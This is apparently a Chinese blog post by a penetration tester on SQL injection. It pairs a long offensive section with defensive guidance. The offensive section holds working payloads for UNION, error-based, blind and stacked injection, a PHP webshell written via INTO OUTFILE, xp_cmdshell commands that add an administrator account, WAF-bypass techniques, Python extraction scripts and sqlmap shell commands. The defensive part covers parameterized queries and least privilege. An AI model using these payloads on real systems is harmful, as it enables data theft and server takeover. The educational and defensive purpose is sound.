前段时间帮朋友的公司做渗透测试,在一个看似防护严密的系统上发现了SQL注入漏洞。这让我意识到,即使在2025年,SQL注入依然是Web安全的头号威胁。今天就来聊聊SQL注入的完整攻防链路,从最基础的原理到高级的WAF绕过技巧。

为什么SQL注入至今仍是最危险的漏洞

翻看最近几年的安全事件通报,SQL注入漏洞导致的数据泄露事件依然占据榜首。2024年某电商平台因SQL注入导致千万级用户数据泄露,某政务系统因注入漏洞被植入后门。这些都不是新闻,而是一直在发生的现实。

SQL注入的危险之处在于:

  • 攻击门槛低,网上有大量现成工具和教程
  • 危害极大,可以直接读取、修改、删除数据库内容
  • 利用链长,可以从注入点延伸到文件读写、命令执行
  • 隐蔽性强,很多注入点隐藏在复杂业务逻辑中

从零开始:理解SQL注入的本质

最近在给团队做培训时,我发现很多开发同学对SQL注入的理解还停留在 ' or 1=1-- 这种教科书式的例子。实际上,SQL注入的核心是代码与数据的边界混淆

举个最简单的例子,一个用户搜索功能:

SELECT * FROM products WHERE name LIKE '%$keyword%'

当用户输入 iPhone 时,查询正常执行。但如果输入 %' UNION SELECT username,password FROM users--,查询就变成了:

SELECT * FROM products WHERE name LIKE '%%' UNION SELECT username,password FROM users--%'

数据库会先执行正常查询,然后执行 UNION 拼接的恶意查询,返回用户表的所有账号密码。

这就是SQL注入的本质:用户输入被当作SQL代码执行,而不是纯粹的数据

注入类型详解:不只是UNION查询

1. 联合查询注入(UNION-based)

这是最直观也是教程中最常见的注入方式。核心思路是利用 UNION 操作符合并查询结果。

实战案例:某企业内部管理系统的用户查询功能

原始请求:/user.php?id=1
正常返回:显示ID为1的用户信息

注入测试:/user.php?id=1' ORDER BY 5--
返回:数据库报错(说明列数少于5)

注入测试:/user.php?id=1' ORDER BY 3--
返回:正常(说明查询结果有3列)

构造payload:/user.php?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
返回:数据库中所有表名

进一步提取:/user.php?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='admin'--
返回:admin表的所有字段名

最终获取数据:/user.php?id=-1' UNION SELECT 1,concat(username,':',password),3 FROM admin--
返回:管理员账号密码

关键点

  • 使用 ORDER BY 判断列数
  • 前面查询ID设为-1让原查询无结果,突出UNION结果
  • 利用 group_concat 将多行结果合并为一行
  • information_schema 是MySQL的系统库,存储了数据库结构信息

2. 报错注入(Error-based)

当页面不显示查询结果,但会显示数据库错误信息时,可以利用特定函数触发报错,将数据包含在错误信息中。

MySQL常用报错函数

-- extractvalue报错
' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))--

-- updatexml报错
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--

-- floor报错
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand()*2))x FROM information_schema.tables GROUP BY x)a)--

实战中的坑

  • 报错注入有长度限制(通常32字符),需要配合 substr 函数分段提取
  • 有些WAF会拦截 concat、0x7e 等关键字,需要编码绕过
  • 某些数据库配置会关闭错误显示,这时报错注入失效

3. 布尔盲注(Boolean-based Blind)

页面不显示查询结果,也不显示错误,只能通过页面响应的差异判断注入语句是否执行成功。

判断逻辑

-- 测试注入点
/news.php?id=1' AND '1'='1    (页面正常)
/news.php?id=1' AND '1'='2    (页面异常)

-- 判断数据库名称长度
/news.php?id=1' AND length(database())>5--    (正常,说明数据库名大于5个字符)
/news.php?id=1' AND length(database())>10--   (异常,说明数据库名不大于10个字符)

-- 逐位猜解数据库名
/news.php?id=1' AND substr(database(),1,1)='t'--   (正常,第一位是t)
/news.php?id=1' AND substr(database(),2,1)='e'--   (正常,第二位是e)

效率问题
布尔盲注需要大量请求,一个10字符的字符串理论上需要 10 * 95(可打印字符数)= 950 次请求。实际操作中:

  • 先判断长度,减少猜测次数
  • 使用二分法:ascii(substr(database(),1,1))>100 快速定位
  • 编写自动化脚本批量测试

4. 时间盲注(Time-based Blind)

比布尔盲注更隐蔽,通过页面响应时间判断。适用于页面无论如何都返回相同内容的场景。

MySQL延时函数

-- sleep函数
' AND IF(length(database())>5,sleep(5),0)--

-- benchmark函数
' AND IF(substr(database(),1,1)='t',benchmark(5000000,md5('test')),0)--

实战经验
去年遇到一个API接口,无论输入什么都返回 {"status":"success"},只能用时间盲注。写了个Python脚本,利用多线程加速:

import requests
import time

def check_char(pos, char):
    url = f"http://target.com/api/search"
    payload = f"' AND IF(substr(database(),{pos},1)='{char}',sleep(3),0)--"
    start = time.time()
    requests.get(url, params={'q': payload}, timeout=5)
    return (time.time() - start) > 2.5  # 考虑网络延迟

整个数据库名用了大概半小时才跑出来,但确实是唯一可行的方法。

5. 堆叠查询注入(Stacked Queries)

在支持多语句执行的数据库中(如SQL Server、PostgreSQL),可以用分号分隔执行多条SQL语句。

-- 创建新管理员
'; INSERT INTO admin(username,password) VALUES('hacker','123456')--

-- 删除日志
'; DELETE FROM logs WHERE 1=1--

-- 修改数据
'; UPDATE users SET role='admin' WHERE username='test'--

危险性
堆叠查询的危害远超数据读取,可以直接修改数据、执行系统命令(xp_cmdshell)、创建后门。好在MySQL的mysqli和PDO默认不支持堆叠查询,但其他数据库要特别注意。

不同数据库的注入差异

在实战中,不同数据库的注入手法差异很大。以前做项目时踩过不少坑,这里总结一些关键区别:

MySQL注入

优势

  • 有 information_schema 可以轻松获取结构信息
  • 函数丰富,绕过方法多
  • 支持 UNION 查询和多种报错注入

特色技巧

-- 读取文件
' UNION SELECT 1,load_file('/etc/passwd'),3--

-- 写入文件(需要secure_file_priv配置允许)
' UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php'--

-- 绕过空格过滤
'/**/UNION/**/SELECT/**/1,2,3--
'%0aUNION%0aSELECT%0a1,2,3--

SQL Server注入

特色

  • 支持堆叠查询,危害更大
  • 可以通过 xp_cmdshell 执行系统命令
  • 有丰富的系统存储过程可利用

实战案例

-- 启用xp_cmdshell
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--

-- 执行系统命令
'; EXEC xp_cmdshell 'whoami'--

-- 添加管理员用户
'; EXEC xp_cmdshell 'net user hacker Password123! /add'--
'; EXEC xp_cmdshell 'net localgroup administrators hacker /add'--

去年遇到一个SQL Server注入,直接通过 xp_cmdshell 下载了远程木马,拿到了服务器权限。当然这是在授权测试环境下,实际攻击是违法的。

PostgreSQL注入

特点

  • 功能强大但语法独特
  • 支持数组、JSON等复杂数据类型
  • 有 COPY 命令可以读写文件

常用payload

-- 查询当前用户
' UNION SELECT null,current_user,null--

-- 查询所有表
' UNION SELECT null,tablename,null FROM pg_tables WHERE schemaname='public'--

-- 读取文件
'; CREATE TABLE temp(data text);COPY temp FROM '/etc/passwd';SELECT * FROM temp--

Oracle注入

难点

  • 语法严格,每个SELECT必须有FROM
  • 使用 dual 虚拟表
  • 字符串拼接用 || 而不是 +
-- 基础查询
' UNION SELECT null,user,null FROM dual--

-- 查询表名
' UNION SELECT null,table_name,null FROM all_tables--

-- 查询列名
' UNION SELECT null,column_name,null FROM all_tab_columns WHERE table_name='USERS'--

WAF绕过技巧:实战经验总结

这部分是整篇文章的重点。现在大部分网站都部署了WAF(Web应用防火墙),简单的注入payload会被直接拦截。以下是我这几年总结的绕过技巧。

1. 大小写混淆

最简单但有时有效的方法:

原始:' UNION SELECT
绕过:' UnIoN SeLeCt
绕过:' uNiOn sElEcT

有些WAF的规则是区分大小写的,简单的大小写变换就能绕过。虽然现在这种低级WAF不多了,但偶尔还能遇到。

2. 编码绕过

URL编码

原始:' UNION SELECT
一次编码:%27%20UNION%20SELECT
二次编码:%2527%2520UNION%2520SELECT

十六进制编码(MySQL):

原始:' UNION SELECT 1,'admin',3--
编码:' UNION SELECT 1,0x61646d696e,3--

Unicode编码

%u0027 = '
%u0055NION = UNION

3. 注释符混淆

MySQL支持多种注释符,可以用来绕过空格、关键字检测:

-- 内联注释
'/**/UNION/**/SELECT/**/1,2,3--

-- 版本注释(只在特定版本执行)
'/*!50000UNION*//*!50000SELECT*/1,2,3--

-- 多行注释嵌套
'/*! UNION */ /*! SELECT */ 1,2,3--

实战案例
某次测试中,WAF拦截了所有包含 UNION SELECT 的请求。使用内联注释 /**/ 替代空格后成功绕过:

原始payload(被拦截):
' UNION SELECT 1,2,3--

绕过payload(成功):
'/**/UNION/**/SELECT/**/1,2,3--

4. 等价替换

空格替换

%20 (空格)
%09 (Tab)
%0a (换行)
%0b (垂直Tab)
%0c (换页)
%0d (回车)
%a0 (不间断空格)
+ (加号,在某些场景下)
/**/ (注释)
() (括号,在某些位置)

关键字替换

AND => &&
OR => ||
= => LIKE / REGEXP / RLIKE
> => GREATEST
SUBSTR => MID / SUBSTRING
ASCII => ORD
BENCHMARK => SLEEP

实战技巧
去年测试一个系统,WAF拦截了 ANDOR 关键字,但 &&|| 可以通过:

被拦截:' AND 1=1--
绕过:' && 1=1--

被拦截:' OR 1=1--
绕过:' || 1=1--

5. 缓冲区溢出绕过

有些WAF对请求长度有限制,超长payload可能导致WAF解析失败而放行:

' UNION SELECT 1,2,3[...大量垃圾字符...]--

在实际测试中,我会在关键payload前后添加大量无害字符:

'/*aaaaaaaaaa...重复几千个a...*/UNION/*bbbbbb...*/SELECT/*cccccc...*/1,2,3--

有时候WAF的处理缓冲区只有几KB,超出后直接放行。不过这个方法成功率不高,主要是试试运气。

6. 分块传输绕过

在HTTP协议层面做文章。如果WAF在应用层检测,但服务器支持chunked编码,可以尝试分块传输:

POST /search.php HTTP/1.1
Transfer-Encoding: chunked

5
' UNI
5
ON SE
6
LECT 1

每个chunk都是合法的,但拼接后就是完整的注入语句。这需要专门的工具实现,手工构造比较麻烦。

7. 参数污染(HPP)

某些WAF只检查第一个同名参数,可以尝试传递多个同名参数:

原始:/search.php?id=1' UNION SELECT 1,2,3--
绕过:/search.php?id=1&id=' UNION SELECT 1,2,3--

不同的服务器对多个同名参数的处理不同:

  • PHP/Apache:取最后一个
  • ASP/IIS:用逗号拼接所有值
  • JSP/Tomcat:取第一个

如果WAF和后端服务器处理不一致,就有绕过机会。

8. JSON注入

现在很多API使用JSON格式传参,有些WAF对JSON格式的检测不够严格:

原始:
{"username":"admin","password":"123456"}

注入:
{"username":"admin' UNION SELECT 1,2,3--","password":"123456"}

去年遇到一个案例,WAF拦截了URL参数中的SQL关键字,但JSON参数中的同样关键字却能通过。原因是WAF厂商只针对传统表单做了规则,忽略了JSON格式。

9. Tamper脚本

SQLMap自带了大量Tamper脚本,可以自动化进行各种变换:

# 空格替换为注释
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment

# 使用随机大小写
sqlmap -u "http://target.com/page.php?id=1" --tamper=randomcase

# 多种混淆
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between,randomcase

常用的Tamper组合:

# 针对MySQL
--tamper=space2comment,between,versionedkeywords

# 针对MSSQL  
--tamper=space2mssqlblank,charencode

# 通用混淆
--tamper=randomcase,space2comment,between,charencode

也可以自己写Tamper脚本。我写过一个针对特定WAF的脚本,把所有空格替换为 /**/,把 UNION 替换为 /*!50000UNION*/,成功率提升了不少。

防御方案:开发者必读

讲了这么多攻击方法,作为安全从业者,更重要的是知道如何防御。

1. 参数化查询(最重要!)

这是防御SQL注入最有效、最根本的方法。无论如何强调都不为过。

错误示范

// PHP
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

正确做法

// PHP PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

// Java PreparedStatement
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);

// Python
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

参数化查询的原理是将SQL语句的结构和数据分离。数据库会先编译SQL语句结构,用户输入只作为参数值传递,永远不会被当作SQL代码执行。

2. ORM框架的正确使用

使用ORM(对象关系映射)框架可以大大降低SQL注入风险,但要注意不要拼接原生SQL

Django(安全)

User.objects.filter(id=user_id)  # 安全
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])  # 安全

Django(危险)

User.objects.raw("SELECT * FROM users WHERE id = " + user_id)  # 危险!

Hibernate(安全)

session.createQuery("FROM User WHERE id = :id")
       .setParameter("id", userId)
       .list();

去年代码审计时发现,很多开发为了写复杂查询,在ORM框架里直接拼接SQL字符串,完全失去了ORM的保护作用。

3. 输入验证

虽然输入验证不能作为唯一防御手段,但仍然是重要的防御层。

白名单验证

// 数字ID验证
if (!ctype_digit($_GET['id'])) {
    die('Invalid ID');
}

// 枚举值验证
$allowed_sort = ['name', 'date', 'price'];
if (!in_array($_GET['sort'], $allowed_sort)) {
    die('Invalid sort field');
}

类型强制

// 强制转换为整数
$id = (int)$_GET['id'];

// 使用filter函数
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);

4. 最小权限原则

数据库账号应该严格限制权限:

  • Web应用使用的数据库账号不应该有DROP、CREATE、ALTER等DDL权限
  • 不同模块使用不同的数据库账号
  • 只读操作使用只读账号
  • 禁止使用root或sa等高权限账号

MySQL权限配置示例

-- 创建专用账号
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';

-- 撤销文件操作权限
REVOKE FILE ON *.* FROM 'webapp'@'localhost';

去年帮一家公司做安全审计,发现他们的Web应用直接用root账号连数据库。我演示了一个注入漏洞,直接通过 INTO OUTFILE 写入WebShell。如果用的是受限账号,这个攻击链就会中断。

5. WAF部署

WAF不能替代安全编码,但可以作为纵深防御的一层:

开源WAF

  • ModSecurity:功能强大,规则丰富
  • Naxsi(for Nginx):轻量级,适合Nginx环境

商业WAF

  • 阿里云WAF
  • 腾讯云WAF
  • CloudFlare WAF

WAF配置建议

  • 启用SQL注入规则集
  • 设置合理的拦截阈值(避免误报)
  • 定期更新规则库
  • 监控拦截日志,及时发现攻击

需要注意的是,前面讲了这么多绕过技巧,说明WAF不是万能的。WAF应该作为辅助防护手段,而不是唯一防线。

6. 安全审计与监控

建立持续的安全监控机制:

代码审计

  • 使用静态代码分析工具(如SonarQube、Fortify)
  • 人工审计关键代码
  • Code Review强制检查SQL拼接

运行时监控

  • 监控异常SQL语句(包含UNION、注释符、information_schema等)
  • 监控失败的SQL执行(大量报错可能是注入攻击)
  • 监控慢查询(时间盲注会产生延时)

日志分析

可疑特征:
- URL参数包含单引号、双引号
- 包含SQL关键字:UNION, SELECT, INSERT, UPDATE, DELETE
- 包含注释符:--, /*, #
- 包含数据库函数:concat, group_concat, load_file
- 异常长的参数值

我写过一个简单的日志分析脚本,每小时扫描访问日志,提取包含SQL关键字的请求,发送告警邮件。这个脚本帮助我们及时发现了多次攻击尝试。

自动化工具:SQLMap实战

最后聊聊SQLMap,这是SQL注入领域最强大的自动化工具。很多人知道SQLMap,但不一定用得好。

基础使用

最简单的测试

sqlmap -u "http://target.com/page.php?id=1"

POST请求

sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"

从Burp导入请求

# 在Burp中右键请求 -> Copy to file -> 保存为request.txt
sqlmap -r request.txt

这是最实用的方法。在浏览器中正常操作,Burp拦截请求,导出给SQLMap分析。这样可以保持完整的Cookie、Header等信息。

进阶技巧

指定注入点

# 使用*标记注入点
sqlmap -u "http://target.com/page.php?id=1*&type=news"

指定注入技术

# 只测试UNION查询
sqlmap -u "http://target.com/page.php?id=1" --technique=U

# 测试时间盲注和布尔盲注
sqlmap -u "http://target.com/page.php?id=1" --technique=T,B

技术类型:

  • B: Boolean-based blind(布尔盲注)
  • E: Error-based(报错注入)
  • U: Union query-based(联合查询)
  • S: Stacked queries(堆叠查询)
  • T: Time-based blind(时间盲注)

数据提取

# 列出所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs

# 列出指定数据库的表
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables

# 列出表的字段
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns

# 导出数据
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --dump

# 只导出特定字段
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump

文件操作

# 读取文件
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"

# 写入文件(上传shell)
sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

系统命令执行

# 获取OS Shell(需要xp_cmdshell或其他命令执行方式)
sqlmap -u "http://target.com/page.php?id=1" --os-shell

# 获取SQL Shell
sqlmap -u "http://target.com/page.php?id=1" --sql-shell

绕过WAF的参数

# 使用随机User-Agent
sqlmap -u "http://target.com/page.php?id=1" --random-agent

# 降低测试速度(避免触发频率限制)
sqlmap -u "http://target.com/page.php?id=1" --delay=2

# 使用Tamper脚本
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment

# 指定风险等级和测试级别
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3

level和risk的含义:

  • level(1-5):测试深度,越高测试越多的payload
  • risk(1-3):风险等级,3会测试UPDATE/DELETE等危险操作

实战案例
去年测试一个有WAF保护的网站,常规SQLMap测试全部被拦截。最后用了这个组合成功绕过:

sqlmap -u "http://target.com/api/search" \
  --data='{"keyword":"test"}' \
  --headers="Content-Type: application/json" \
  --random-agent \
  --tamper=space2comment,between \
  --delay=1 \
  --level=3 \
  --technique=T \
  --batch

关键点:

  • JSON格式传参绕过部分WAF规则
  • 使用时间盲注(不产生明显异常)
  • 添加延时避免触发频率限制
  • Tamper脚本进行混淆

整个过程跑了2个多小时,但最终成功提取出数据库名。

SQLMap的局限性

虽然SQLMap很强大,但它不是万能的:

无法检测的场景

  • 需要复杂认证流程的系统
  • 动态Token防护(每次请求Token都变化)
  • 业务逻辑注入(需要理解业务逻辑才能构造payload)
  • 某些自定义协议或加密传输

误报问题
有时SQLMap会报告存在注入,但实际测试发现是误报。通常发生在:

  • 服务器响应不稳定,导致时间盲注判断错误
  • WAF拦截产生的特定响应被误判为注入成功
  • 某些动态页面内容随机变化

建议

  • SQLMap适合快速批量检测,不适合精细化利用
  • 对于关键系统,建议手工验证SQLMap的结果
  • 学会看SQLMap的详细输出(-v 3参数),理解它的检测逻辑
  • 结合Burp、手工测试等多种方式综合判断

真实案例分析

最后分享几个我经历过的真实案例(已脱敏处理)。

案例1:二次注入绕过所有防护

场景:某社交平台的用户资料修改功能

第一次测试时,所有输入点都做了严格过滤,单引号、SQL关键字全部被拦截或转义。看起来很安全。

但我注意到一个细节:用户注册时的昵称可以包含单引号(可能是为了支持 O'Brien 这种姓名)。于是我注册了一个昵称为 admin'-- 的账号。

然后在另一个功能点(管理员查看用户列表)触发了注入。因为管理员查询用户时,直接将数据库中的昵称拼接到SQL语句中:

SELECT * FROM logs WHERE username = 'admin'--'

这就是二次注入

  1. 第一次输入时,恶意数据被安全存储到数据库
  2. 第二次查询时,从数据库取出的数据被当作可信数据,直接拼接到SQL中
  3. 绕过了所有输入验证和过滤

教训

  • 不要假设数据库中的数据是安全的
  • 即使是从数据库读取的数据,也要当作不可信输入处理
  • 所有拼接到SQL中的数据都必须参数化,无论来源

案例2:宽字节注入

场景:某电商网站使用GBK编码

网站对用户输入做了 addslashes() 处理,单引号前会加反斜杠转义:

输入:'
转义后:\'

看起来很安全,但如果数据库使用GBK编码,可以利用宽字节注入绕过。

攻击过程

输入:%df'
处理后:%df\'
GBK解析:%df%5c = 運(一个汉字),后面的单引号不在转义
实际效果:運'(单引号逃逸出来了)

完整payload:

%df' UNION SELECT 1,2,3--

防御方法

  • 使用 mysql_real_escape_string() 而不是 addslashes()
  • 设置数据库连接字符集:SET NAMES 'gbk'
  • 更好的做法:使用参数化查询

这个案例让我意识到,字符编码问题可能带来意想不到的安全风险。

案例3:布尔盲注的耐心战

场景:某API接口,无论输入什么都返回固定JSON

{"code":200,"msg":"success","data":[]}

没有报错信息,没有数据显示,看起来无从下手。但我注意到,当SQL语句出错时,返回的data字段是空的;正常时会返回数据。

于是用布尔盲注逐位猜解:

import requests
import string

url = "http://api.target.com/search"
result = ""

for pos in range(1, 20):  # 假设数据库名不超过20字符
    for char in string.ascii_lowercase + string.digits + '_':
        payload = f"' AND substr(database(),{pos},1)='{char}'--"
        response = requests.get(url, params={'q': payload})
        
        if '"data":[]' not in response.text:  # 有数据返回说明条件为真
            result += char
            print(f"Position {pos}: {char} -> Current: {result}")
            break
    else:
        break  # 没有字符匹配,说明到达末尾

print(f"Database name: {result}")

整个过程很枯燥,跑了近1小时,但最终成功获取了数据库名 shop_system_v2

然后继续用同样方法提取表名、字段名、数据。整个渗透测试花了大半天,但证明了即使看起来密不透风的系统,只要存在注入点,就能突破。

感悟

  • 安全测试需要耐心和毅力
  • 自动化工具很重要,但手工分析同样关键
  • 细节决定成败,要善于观察响应的微小差异

防御检查清单

最后给开发者和安全人员提供一个实用的检查清单:

代码层面

  •  所有SQL查询都使用参数化查询或预编译语句
  •  没有任何地方直接拼接用户输入到SQL语句
  •  ORM框架正确使用,没有拼接原生SQL
  •  输入验证使用白名单而非黑名单
  •  对数字类型参数进行强制类型转换
  •  敏感操作有二次验证(密码、验证码)

数据库层面

  •  Web应用使用受限权限的数据库账号
  •  禁止使用root/sa等高权限账号
  •  不同模块使用不同数据库账号(权限隔离)
  •  禁用不必要的危险功能(如xp_cmdshell、LOAD_FILE)
  •  关闭数据库错误信息显示(生产环境)

架构层面

  •  部署WAF并定期更新规则
  •  配置日志监控和告警机制
  •  定期进行安全审计和渗透测试
  •  建立安全事件响应流程
  •  代码上线前进行安全审查

开发流程

  •  将安全培训纳入新员工入职流程
  •  Code Review时重点检查SQL拼接
  •  使用SAST工具自动检测代码漏洞
  •  CI/CD流程集成安全测试
  •  维护安全编码规范文档

写在最后

SQL注入虽然是个"老"漏洞,但至今仍然广泛存在。根据我的经验,大约30%的Web应用都存在不同程度的SQL注入风险。

作为攻击者(或渗透测试人员),需要掌握各种注入技巧和绕过方法。但作为安全从业者,我更希望大家关注防御。毕竟,预防永远比事后补救更重要。

核心原则只有一条:永远不要相信用户输入,所有外部数据都必须经过验证和处理。

参数化查询不是什么高深技术,但它能防御99%的SQL注入攻击。可惜很多开发者为了省事,仍在用字符串拼接。这就像明知道安全带能救命,却嫌麻烦不系一样。

安全不是某个人的责任,而是整个团队的文化。从产品经理到开发人员,从测试工程师到运维人员,每个人都应该有基本的安全意识。

最后提醒:

  1. 本文内容仅供学习交流,请勿用于非法用途
  2. 未经授权的渗透测试是违法行为
  3. 对自己的系统进行安全测试前,请先备份数据

希望这篇文章能帮助大家更好地理解SQL注入的攻防技术。如果有问题或想交流的,欢迎在评论区留言。


推荐阅读

  • OWASP SQL Injection Prevention Cheat Sheet
  • SQLMap官方文档
  • 《Web安全深度剖析》
  • 《代码审计:企业级Web代码安全架构》

相关工具

Q.E.D.


寻门而入,破门而出